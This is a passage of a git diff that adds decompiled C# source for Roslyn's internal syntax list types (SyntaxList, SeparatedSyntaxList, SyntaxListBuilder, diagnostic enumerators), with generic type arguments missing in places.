_currentChild; + + internal Enumerator(GreenNode? node) + { + if (node != null) + { + _node = node; + _childIndex = node.SlotCount; + _listIndex = -1; + } + else + { + _node = null; + _childIndex = 0; + _listIndex = -1; + } + _list = null; + _currentChild = null; + } + + public bool MoveNext() + { + if (_node != null) + { + if (_list != null) + { + if (--_listIndex >= 0) + { + _currentChild = _list.GetSlot(_listIndex); + return true; + } + _list = null; + _listIndex = -1; + } + while (--_childIndex >= 0) + { + GreenNode slot = _node.GetSlot(_childIndex); + if (slot != null) + { + if (!slot.IsList) + { + _currentChild = slot; + return true; + } + _list = slot; + _listIndex = _list.SlotCount; + if (--_listIndex >= 0) + { + _currentChild = _list.GetSlot(_listIndex); + return true; + } + _list = null; + _listIndex = -1; + } + } + } + _currentChild = null; + return false; + } + } + + private readonly GreenNode? _node; + + internal Reversed(GreenNode? node) + { + _node = node; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_node); + } + } + + private readonly GreenNode? _node; + + private int _count; + + public int Count + { + get + { + if (_count == -1) + { + _count = CountNodes(); + } + return _count; + } + } + + private GreenNode[] Nodes + { + get + { + GreenNode[] array = new GreenNode[Count]; + int num = 0; + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + GreenNode current = enumerator.Current; + array[num++] = current; + } + return array; + } + } + + internal ChildSyntaxList(GreenNode node) + { + _node = node; + _count = -1; + } + + private int CountNodes() + { + int num = 0; + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + num++; + } + return num; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_node); + } + + public Reversed Reverse() + { + return new Reversed(_node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenNodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenNodeExtensions.cs new file mode 100644 index 0000000..f360280 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenNodeExtensions.cs @@ -0,0 +1,23 @@ +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal static class GreenNodeExtensions +{ + internal static SyntaxList ToGreenList(this SyntaxNode? node) where T : GreenNode + { + return node?.Green.ToGreenList() ?? default(SyntaxList); + } + + internal static SeparatedSyntaxList ToGreenSeparatedList(this SyntaxNode? node) where T : GreenNode + { + if (node == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(node.Green.ToGreenList()); + } + + internal static SyntaxList ToGreenList(this GreenNode? node) where T : GreenNode + { + return new SyntaxList(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenStats.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenStats.cs new file mode 100644 index 0000000..5702a24 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/GreenStats.cs @@ -0,0 +1,25 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal class GreenStats +{ + internal static void NoteGreen(GreenNode _) + { + } + + [Conditional("DEBUG")] + internal static void ItemAdded() + { + } + + [Conditional("DEBUG")] + internal static void ItemCacheable() + { + } + + [Conditional("DEBUG")] + internal static void CacheHit() + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxList.cs new file mode 100644 index 0000000..5420d69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxList.cs @@ -0,0 +1,76 @@ +using System; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal readonly struct SeparatedSyntaxList : IEquatable> where TNode : GreenNode +{ + private readonly SyntaxList _list; + + internal GreenNode? Node => _list.Node; + + public int Count => _list.Count + 1 >> 1; + + public int SeparatorCount => _list.Count >> 1; + + public TNode? this[int index] => (TNode)_list[index << 1]; + + internal SeparatedSyntaxList(SyntaxList list) + { + _list = list; + } + + [Conditional("DEBUG")] + private static void Validate(SyntaxList list) + { + for (int i = 0; i < list.Count; i++) + { + list.GetRequiredItem(i); + _ = i & 1; + } + } + + public GreenNode? GetSeparator(int index) + { + return _list[(index << 1) + 1]; + } + + public SyntaxList GetWithSeparators() + { + return _list; + } + + public static bool operator ==(in SeparatedSyntaxList left, in SeparatedSyntaxList right) + { + return left.Equals(right); + } + + public static bool operator !=(in SeparatedSyntaxList left, in SeparatedSyntaxList right) + { + return !left.Equals(right); + } + + public bool Equals(SeparatedSyntaxList other) + { + return _list == other._list; + } + + public override bool Equals(object? obj) + { + if (obj is SeparatedSyntaxList) + { + return Equals((SeparatedSyntaxList)obj); + } + return false; + } + + public override int GetHashCode() + { + return _list.GetHashCode(); + } + + public static implicit operator SeparatedSyntaxList(SeparatedSyntaxList list) + { + return new SeparatedSyntaxList(list.GetWithSeparators()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxListBuilder.cs new file mode 100644 index 0000000..266ed29 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SeparatedSyntaxListBuilder.cs @@ -0,0 +1,102 @@ +using System; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal readonly struct SeparatedSyntaxListBuilder where TNode : GreenNode +{ + private readonly SyntaxListBuilder? _builder; + + public bool IsNull => _builder == null; + + public int Count => _builder.Count; + + public GreenNode? this[int index] + { + get + { + return _builder[index]; + } + set + { + _builder[index] = value; + } + } + + internal SyntaxListBuilder? UnderlyingBuilder => _builder; + + public SeparatedSyntaxListBuilder(int size) + : this(new SyntaxListBuilder(size)) + { + } + + public static SeparatedSyntaxListBuilder Create() + { + return new SeparatedSyntaxListBuilder(8); + } + + internal SeparatedSyntaxListBuilder(SyntaxListBuilder builder) + { + _builder = builder; + } + + public void Clear() + { + _builder.Clear(); + } + + public void RemoveLast() + { + _builder.RemoveLast(); + } + + public SeparatedSyntaxListBuilder Add(TNode node) + { + _builder.Add(node); + return this; + } + + public void AddSeparator(GreenNode separatorToken) + { + _builder.Add(separatorToken); + } + + public void AddRange(TNode[] items, int offset, int length) + { + _builder.AddRange(items, offset, length); + } + + public void AddRange(in SeparatedSyntaxList nodes) + { + _builder.AddRange(nodes.GetWithSeparators()); + } + + public void AddRange(in SeparatedSyntaxList nodes, int count) + { + SyntaxList withSeparators = nodes.GetWithSeparators(); + _builder.AddRange(withSeparators, Count, Math.Min(count * 2, withSeparators.Count)); + } + + public bool Any(int kind) + { + return _builder.Any(kind); + } + + public SeparatedSyntaxList ToList() + { + if (_builder != null) + { + return new SeparatedSyntaxList(new SyntaxList(_builder.ToListNode())); + } + return default(SeparatedSyntaxList); + } + + public static implicit operator SeparatedSyntaxList(in SeparatedSyntaxListBuilder builder) + { + return builder.ToList(); + } + + public static implicit operator SyntaxListBuilder?(in SeparatedSyntaxListBuilder builder) + { + return builder._builder; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxDiagnosticInfoList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxDiagnosticInfoList.cs new file mode 100644 index 0000000..2f555f5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxDiagnosticInfoList.cs @@ -0,0 +1,145 @@ +using System; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal readonly struct SyntaxDiagnosticInfoList +{ + public struct Enumerator + { + private struct NodeIteration + { + internal readonly GreenNode Node; + + internal int DiagnosticIndex; + + internal int SlotIndex; + + internal NodeIteration(GreenNode node) + { + Node = node; + SlotIndex = -1; + DiagnosticIndex = -1; + } + } + + private NodeIteration[]? _stack = null; + + private int _count = 0; + + public DiagnosticInfo Current { get; private set; } = null; + + internal Enumerator(GreenNode node) + { + if (node != null && node.ContainsDiagnostics) + { + _stack = new NodeIteration[8]; + PushNodeOrToken(node); + } + } + + public bool MoveNext() + { + while (_count > 0) + { + int diagnosticIndex = _stack[_count - 1].DiagnosticIndex; + GreenNode node = _stack[_count - 1].Node; + DiagnosticInfo[] diagnostics = node.GetDiagnostics(); + if (diagnosticIndex < diagnostics.Length - 1) + { + diagnosticIndex++; + Current = diagnostics[diagnosticIndex]; + _stack[_count - 1].DiagnosticIndex = diagnosticIndex; + return true; + } + int num = _stack[_count - 1].SlotIndex; + while (true) + { + if (num < node.SlotCount - 1) + { + num++; + GreenNode slot = node.GetSlot(num); + if (slot != null && slot.ContainsDiagnostics) + { + _stack[_count - 1].SlotIndex = num; + PushNodeOrToken(slot); + break; + } + continue; + } + Pop(); + break; + } + } + return false; + } + + private void PushNodeOrToken(GreenNode node) + { + if (node.IsToken) + { + PushToken(node); + } + else + { + Push(node); + } + } + + private void PushToken(GreenNode token) + { + GreenNode trailingTriviaCore = token.GetTrailingTriviaCore(); + if (trailingTriviaCore != null) + { + Push(trailingTriviaCore); + } + Push(token); + GreenNode leadingTriviaCore = token.GetLeadingTriviaCore(); + if (leadingTriviaCore != null) + { + Push(leadingTriviaCore); + } + } + + private void Push(GreenNode node) + { + if (_count >= _stack.Length) + { + NodeIteration[] array = new NodeIteration[_stack.Length * 2]; + Array.Copy(_stack, array, _stack.Length); + _stack = array; + } + _stack[_count] = new NodeIteration(node); + _count++; + } + + private void Pop() + { + _count--; + } + } + + private readonly GreenNode _node; + + internal SyntaxDiagnosticInfoList(GreenNode node) + { + _node = node; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_node); + } + + internal bool Any(Func predicate) + { + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + if (predicate(enumerator.Current)) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxList.cs new file mode 100644 index 0000000..fb96f4f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxList.cs @@ -0,0 +1,721 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal abstract class SyntaxList : GreenNode +{ + internal sealed class WithLotsOfChildren : WithManyChildrenBase + { + private readonly int[] _childOffsets; + + static WithLotsOfChildren() + { + ObjectBinder.RegisterTypeReader(typeof(WithLotsOfChildren), (ObjectReader r) => new WithLotsOfChildren(r)); + } + + internal WithLotsOfChildren(ArrayElement[] children) + : base(children) + { + _childOffsets = CalculateOffsets(children); + } + + internal WithLotsOfChildren(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, ArrayElement[] children, int[] childOffsets) + : base(diagnostics, annotations, children) + { + _childOffsets = childOffsets; + } + + internal WithLotsOfChildren(ObjectReader reader) + : base(reader) + { + _childOffsets = CalculateOffsets(children); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + } + + public override int GetSlotOffset(int index) + { + return _childOffsets[index]; + } + + public override int FindSlotIndexContainingOffset(int offset) + { + return _childOffsets.BinarySearchUpperBound(offset) - 1; + } + + private static int[] CalculateOffsets(ArrayElement[] children) + { + int num = children.Length; + int[] array = new int[num]; + int num2 = 0; + for (int i = 0; i < num; i++) + { + array[i] = num2; + num2 += children[i].Value.FullWidth; + } + return array; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? errors) + { + return new WithLotsOfChildren(errors, GetAnnotations(), children, _childOffsets); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return new WithLotsOfChildren(GetDiagnostics(), annotations, children, _childOffsets); + } + } + + internal abstract class WithManyChildrenBase : SyntaxList + { + internal readonly ArrayElement[] children; + + internal WithManyChildrenBase(ArrayElement[] children) + { + this.children = children; + InitializeChildren(); + } + + internal WithManyChildrenBase(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, ArrayElement[] children) + : base(diagnostics, annotations) + { + this.children = children; + InitializeChildren(); + } + + private void InitializeChildren() + { + int num = children.Length; + if (num < 255) + { + base.SlotCount = (byte)num; + } + else + { + base.SlotCount = 255; + } + for (int i = 0; i < children.Length; i++) + { + AdjustFlagsAndWidth(children[i]); + } + } + + internal WithManyChildrenBase(ObjectReader reader) + : base(reader) + { + int num = reader.ReadInt32(); + children = new ArrayElement[num]; + for (int i = 0; i < num; i++) + { + children[i].Value = (GreenNode)reader.ReadValue(); + } + InitializeChildren(); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteInt32(children.Length); + for (int i = 0; i < children.Length; i++) + { + writer.WriteValue(children[i].Value); + } + } + + protected override int GetSlotCount() + { + return children.Length; + } + + internal override GreenNode GetSlot(int index) + { + return children[index]; + } + + internal override void CopyTo(ArrayElement[] array, int offset) + { + Array.Copy(children, 0, array, offset, children.Length); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + bool flag = base.SlotCount > 1 && HasNodeTokenPattern(); + if (parent != null && parent.ShouldCreateWeakList()) + { + if (!flag) + { + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.WithManyWeakChildren(this, parent, position); + } + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.SeparatedWithManyWeakChildren(this, parent, position); + } + if (!flag) + { + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.WithManyChildren(this, parent, position); + } + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.SeparatedWithManyChildren(this, parent, position); + } + + private bool HasNodeTokenPattern() + { + for (int i = 0; i < base.SlotCount; i++) + { + if (GetSlot(i).IsToken == ((i & 1) == 0)) + { + return false; + } + } + return true; + } + } + + internal sealed class WithManyChildren : WithManyChildrenBase + { + static WithManyChildren() + { + ObjectBinder.RegisterTypeReader(typeof(WithManyChildren), (ObjectReader r) => new WithManyChildren(r)); + } + + internal WithManyChildren(ArrayElement[] children) + : base(children) + { + } + + internal WithManyChildren(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, ArrayElement[] children) + : base(diagnostics, annotations, children) + { + } + + internal WithManyChildren(ObjectReader reader) + : base(reader) + { + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? errors) + { + return new WithManyChildren(errors, GetAnnotations(), children); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return new WithManyChildren(GetDiagnostics(), annotations, children); + } + } + + internal class WithThreeChildren : SyntaxList + { + private readonly GreenNode _child0; + + private readonly GreenNode _child1; + + private readonly GreenNode _child2; + + static WithThreeChildren() + { + ObjectBinder.RegisterTypeReader(typeof(WithThreeChildren), (ObjectReader r) => new WithThreeChildren(r)); + } + + internal WithThreeChildren(GreenNode child0, GreenNode child1, GreenNode child2) + { + base.SlotCount = 3; + AdjustFlagsAndWidth(child0); + _child0 = child0; + AdjustFlagsAndWidth(child1); + _child1 = child1; + AdjustFlagsAndWidth(child2); + _child2 = child2; + } + + internal WithThreeChildren(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, GreenNode child0, GreenNode child1, GreenNode child2) + : base(diagnostics, annotations) + { + base.SlotCount = 3; + AdjustFlagsAndWidth(child0); + _child0 = child0; + AdjustFlagsAndWidth(child1); + _child1 = child1; + AdjustFlagsAndWidth(child2); + _child2 = child2; + } + + internal WithThreeChildren(ObjectReader reader) + : base(reader) + { + base.SlotCount = 3; + _child0 = (GreenNode)reader.ReadValue(); + AdjustFlagsAndWidth(_child0); + _child1 = (GreenNode)reader.ReadValue(); + AdjustFlagsAndWidth(_child1); + _child2 = (GreenNode)reader.ReadValue(); + AdjustFlagsAndWidth(_child2); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteValue(_child0); + writer.WriteValue(_child1); + writer.WriteValue(_child2); + } + + internal override GreenNode? GetSlot(int index) + { + return index switch + { + 0 => _child0, + 1 => _child1, + 2 => _child2, + _ => null, + }; + } + + internal override void CopyTo(ArrayElement[] array, int offset) + { + array[offset].Value = _child0; + array[offset + 1].Value = _child1; + array[offset + 2].Value = _child2; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.WithThreeChildren(this, parent, position); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? errors) + { + return new WithThreeChildren(errors, GetAnnotations(), _child0, _child1, _child2); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return new WithThreeChildren(GetDiagnostics(), annotations, _child0, _child1, _child2); + } + } + + internal class WithTwoChildren : SyntaxList + { + private readonly GreenNode _child0; + + private readonly GreenNode _child1; + + static WithTwoChildren() + { + ObjectBinder.RegisterTypeReader(typeof(WithTwoChildren), (ObjectReader r) => new WithTwoChildren(r)); + } + + internal WithTwoChildren(GreenNode child0, GreenNode child1) + { + base.SlotCount = 2; + AdjustFlagsAndWidth(child0); + _child0 = child0; + AdjustFlagsAndWidth(child1); + _child1 = child1; + } + + internal WithTwoChildren(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations, GreenNode child0, GreenNode child1) + : base(diagnostics, annotations) + { + base.SlotCount = 2; + AdjustFlagsAndWidth(child0); + _child0 = child0; + AdjustFlagsAndWidth(child1); + _child1 = child1; + } + + internal WithTwoChildren(ObjectReader reader) + : base(reader) + { + base.SlotCount = 2; + _child0 = (GreenNode)reader.ReadValue(); + AdjustFlagsAndWidth(_child0); + _child1 = (GreenNode)reader.ReadValue(); + AdjustFlagsAndWidth(_child1); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteValue(_child0); + writer.WriteValue(_child1); + } + + internal override GreenNode? GetSlot(int index) + { + return index switch + { + 0 => _child0, + 1 => _child1, + _ => null, + }; + } + + internal override void CopyTo(ArrayElement[] array, int offset) + { + array[offset].Value = _child0; + array[offset + 1].Value = _child1; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return new Microsoft.CodeAnalysis.Syntax.SyntaxList.WithTwoChildren(this, parent, position); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? errors) + { + return new WithTwoChildren(errors, GetAnnotations(), _child0, _child1); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return new WithTwoChildren(GetDiagnostics(), annotations, _child0, _child1); + } + } + + public sealed override string Language + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/InternalSyntax/SyntaxList.cs", 153); + } + } + + public sealed override string KindText + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/InternalSyntax/SyntaxList.cs", 161); + } + } + + internal SyntaxList() + : base(1) + { + } + + internal SyntaxList(DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(1, diagnostics, annotations) + { + } + + internal SyntaxList(ObjectReader reader) + : base(reader) + { + } + + internal static GreenNode List(GreenNode child) + { + return child; + } + + internal static WithTwoChildren List(GreenNode child0, GreenNode child1) + { + int hash; + GreenNode greenNode = SyntaxNodeCache.TryGetNode(1, child0, child1, out hash); + if (greenNode != null) + { + return (WithTwoChildren)greenNode; + } + WithTwoChildren withTwoChildren = new WithTwoChildren(child0, child1); + if (hash >= 0) + { + SyntaxNodeCache.AddNode(withTwoChildren, hash); + } + return withTwoChildren; + } + + internal static WithThreeChildren List(GreenNode child0, GreenNode child1, GreenNode child2) + { + int hash; + GreenNode greenNode = SyntaxNodeCache.TryGetNode(1, child0, child1, child2, out hash); + if (greenNode != null) + { + return (WithThreeChildren)greenNode; + } + WithThreeChildren withThreeChildren = new WithThreeChildren(child0, child1, child2); + if (hash >= 0) + { + SyntaxNodeCache.AddNode(withThreeChildren, hash); + } + return withThreeChildren; + } + + internal static GreenNode List(GreenNode?[] nodes) + { + return List(nodes, nodes.Length); + } + + internal static GreenNode List(GreenNode?[] nodes, int count) + { + ArrayElement[] array = new ArrayElement[count]; + for (int i = 0; i < count; i++) + { + GreenNode value = nodes[i]; + array[i].Value = value; + } + return List(array); + } + + internal static SyntaxList List(ArrayElement[] children) + { + if (children.Length < 10) + { + return new WithManyChildren(children); + } + return new WithLotsOfChildren(children); + } + + internal abstract void CopyTo(ArrayElement[] array, int offset); + + internal static GreenNode? Concat(GreenNode? left, GreenNode? right) + { + if (left == null) + { + return right; + } + if (right == null) + { + return left; + } + SyntaxList syntaxList = left as SyntaxList; + SyntaxList syntaxList2 = right as SyntaxList; + if (syntaxList != null) + { + if (syntaxList2 != null) + { + ArrayElement[] array = new ArrayElement[left.SlotCount + right.SlotCount]; + syntaxList.CopyTo(array, 0); + syntaxList2.CopyTo(array, left.SlotCount); + return List(array); + } + ArrayElement[] array2 = new ArrayElement[left.SlotCount + 1]; + syntaxList.CopyTo(array2, 0); + array2[left.SlotCount].Value = right; + return List(array2); + } + if (syntaxList2 != null) + { + ArrayElement[] array3 = new ArrayElement[syntaxList2.SlotCount + 1]; + array3[0].Value = left; + syntaxList2.CopyTo(array3, 1); + return List(array3); + } + return List(left, right); + } + + public sealed override SyntaxNode GetStructure(SyntaxTrivia parentTrivia) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/InternalSyntax/SyntaxList.cs", 167); + } + + public sealed override SyntaxToken CreateSeparator(SyntaxNode element) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/InternalSyntax/SyntaxList.cs", 172); + } + + public sealed override bool IsTriviaWithEndOfLine() + { + return false; + } +} +internal readonly struct SyntaxList : IEquatable> where TNode : GreenNode +{ + internal struct Enumerator + { + private readonly SyntaxList _list; + + private int _index; + + public TNode Current => _list[_index]; + + internal Enumerator(SyntaxList list) + { + _list = list; + _index = -1; + } + + public bool MoveNext() + { + int num = _index + 1; + if (num < _list.Count) + { + _index = num; + return true; + } + return false; + } + } + + private readonly GreenNode? _node; + + internal GreenNode? Node => _node; + + public int Count + { + get + { + if (_node != null) + { + if (!_node.IsList) + { + return 1; + } + return _node.SlotCount; + } + return 0; + } + } + + public TNode? this[int index] + { + get + { + if (_node == null) + { + return null; + } + if (_node.IsList) + { + return (TNode)_node.GetSlot(index); + } + if (index == 0) + { + return (TNode)_node; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Syntax/InternalSyntax/SyntaxList`1.cs", 52); + } + } + + internal TNode[] Nodes + { + get + { + TNode[] array = new TNode[Count]; + for (int i = 0; i < Count; i++) + { + array[i] = GetRequiredItem(i); + } + return array; + } + } + + public TNode? Last + { + get + { + GreenNode node = _node; + if (node.IsList) + { + return (TNode)node.GetSlot(node.SlotCount - 1); + } + return (TNode)node; + } + } + + internal SyntaxList(GreenNode? node) + { + _node = node; + } + + internal TNode GetRequiredItem(int index) + { + return this[index]; + } + + internal GreenNode? ItemUntyped(int index) + { + GreenNode node = _node; + if (node.IsList) + { + return node.GetSlot(index); + } + return node; + } + + public bool Any() + { + return _node != null; + } + + public bool Any(int kind) + { + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.RawKind == kind) + { + return true; + } + } + return false; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + internal void CopyTo(int offset, ArrayElement[] array, int arrayOffset, int count) + { + for (int i = 0; i < count; i++) + { + array[arrayOffset + i].Value = GetRequiredItem(i + offset); + } + } + + public static bool operator ==(SyntaxList left, SyntaxList right) + { + return left._node == right._node; + } + + public static bool operator !=(SyntaxList left, SyntaxList right) + { + return left._node != right._node; + } + + public bool Equals(SyntaxList other) + { + return _node == other._node; + } + + public override bool Equals(object? obj) + { + if (obj is SyntaxList) + { + return Equals((SyntaxList)obj); + } + return false; + } + + public override int GetHashCode() + { + if (_node == null) + { + return 0; + } + return _node.GetHashCode(); + } + + public SeparatedSyntaxList AsSeparatedList() where TOther : GreenNode + { + return new SeparatedSyntaxList(this); + } + + public static implicit operator SyntaxList(TNode node) + { + return new SyntaxList(node); + } + + public static implicit operator SyntaxList(SyntaxList nodes) + { + return new SyntaxList(nodes._node); + } + + public static implicit operator SyntaxList(SyntaxList nodes) + { + return new SyntaxList(nodes.Node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilder.cs new file mode 100644 index 0000000..99bb37b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax.InternalSyntax/SyntaxListBuilder.cs @@ -0,0 +1,273 @@ +using System; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +internal class SyntaxListBuilder +{ + private ArrayElement[] _nodes; + + public int Count { get; private set; } + + public GreenNode? this[int index] + { + get + { + return _nodes[index]; + } + set + { + _nodes[index].Value = value; + } + } + + public SyntaxListBuilder(int size) + { + _nodes = new ArrayElement[size]; + } + + public static SyntaxListBuilder Create() + { + return new SyntaxListBuilder(8); + } + + public void Clear() + { + Count = 0; + } + + public void Add(GreenNode? item) + { + if (item == null) + { + return; + } + if (item.IsList) + { + int slotCount = item.SlotCount; + EnsureAdditionalCapacity(slotCount); + for (int i = 0; i < slotCount; i++) + { + Add(item.GetSlot(i)); + } + } + else + { + EnsureAdditionalCapacity(1); + _nodes[Count++].Value = item; + } + } + + public void AddRange(GreenNode[] items) + { + AddRange(items, 0, items.Length); + } + + public void AddRange(GreenNode[] items, int offset, int length) + { + EnsureAdditionalCapacity(length - offset); + _ = Count; + for (int i = offset; i < length; i++) + { + Add(items[i]); + } + } + + [Conditional("DEBUG")] + private void Validate(int start, int end) + { + for (int i = start; i < end; i++) + { + } + } + + public void AddRange(SyntaxList list) + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxList list, int offset, int length) + { + EnsureAdditionalCapacity(length - offset); + _ = Count; + for (int i = offset; i < length; i++) + { + Add(list[i]); + } + } + + public void AddRange(SyntaxList list) where TNode : GreenNode + { + AddRange(list, 0, list.Count); + } + + public void AddRange(SyntaxList list, int offset, int length) where TNode : GreenNode + { + AddRange(new SyntaxList(list.Node), offset, length); + } + + public void RemoveLast() + { + Count--; + _nodes[Count].Value = null; + } + + private void EnsureAdditionalCapacity(int additionalCount) + { + int num = _nodes.Length; + int num2 = Count + additionalCount; + if (num2 > num) + { + int newSize = ((num2 < 8) ? 8 : ((num2 >= 1073741823) ? int.MaxValue : Math.Max(num2, num * 2))); + Array.Resize(ref _nodes, newSize); + } + } + + public bool Any(int kind) + { + for (int i = 0; i < Count; i++) + { + if (_nodes[i].Value.RawKind == kind) + { + return true; + } + } + return false; + } + + public GreenNode[] ToArray() + { + GreenNode[] array = new GreenNode[Count]; + for (int i = 0; i < array.Length; i++) + { + array[i] = _nodes[i]; + } + return array; + } + + internal GreenNode? ToListNode() + { + switch (Count) + { + case 0: + return null; + case 1: + return _nodes[0]; + case 2: + return SyntaxList.List(_nodes[0], _nodes[1]); + case 3: + return SyntaxList.List(_nodes[0], _nodes[1], _nodes[2]); + default: + { + ArrayElement[] array = new ArrayElement[Count]; + Array.Copy(_nodes, array, Count); + return SyntaxList.List(array); + } + } + } + + public SyntaxList ToList() + { + return new SyntaxList(ToListNode()); + } + + public SyntaxList ToList() where TNode : GreenNode + { + return new SyntaxList(ToListNode()); + } +} +internal readonly struct SyntaxListBuilder where TNode : GreenNode +{ + private readonly SyntaxListBuilder _builder; + + public bool IsNull => _builder == null; + + public int Count => _builder.Count; + + public TNode this[int index] + { + get + { + return (TNode)_builder[index]; + } + set + { + _builder[index] = value; + } + } + + public SyntaxListBuilder(int size) + : this(new SyntaxListBuilder(size)) + { + } + + public static SyntaxListBuilder Create() + { + return new SyntaxListBuilder(8); + } + + internal SyntaxListBuilder(SyntaxListBuilder builder) + { + _builder = builder; + } + + public void Clear() + { + _builder.Clear(); + } + + public SyntaxListBuilder Add(TNode? node) + { + _builder.Add(node); + return this; + } + + public void AddRange(TNode[] items, int offset, int length) + { + _builder.AddRange(items, offset, length); + } + + public void AddRange(SyntaxList nodes) + { + _builder.AddRange(nodes); + } + + public void AddRange(SyntaxList nodes, int offset, int length) + { + _builder.AddRange(nodes, offset, length); + } + + public bool Any(int kind) + { + return _builder.Any(kind); + } + + public SyntaxList ToList() + { + return _builder.ToList(); + } + + public GreenNode? ToListNode() + { + return _builder.ToListNode(); + } + + public static implicit operator SyntaxListBuilder(SyntaxListBuilder builder) + { + return builder._builder; + } + + public static implicit operator SyntaxList(SyntaxListBuilder builder) + { + if (builder._builder != null) + { + return builder.ToList(); + } + return default(SyntaxList); + } + + public SyntaxList ToList() where TDerived : GreenNode + { + return new SyntaxList(ToListNode()); + } +} diff --git 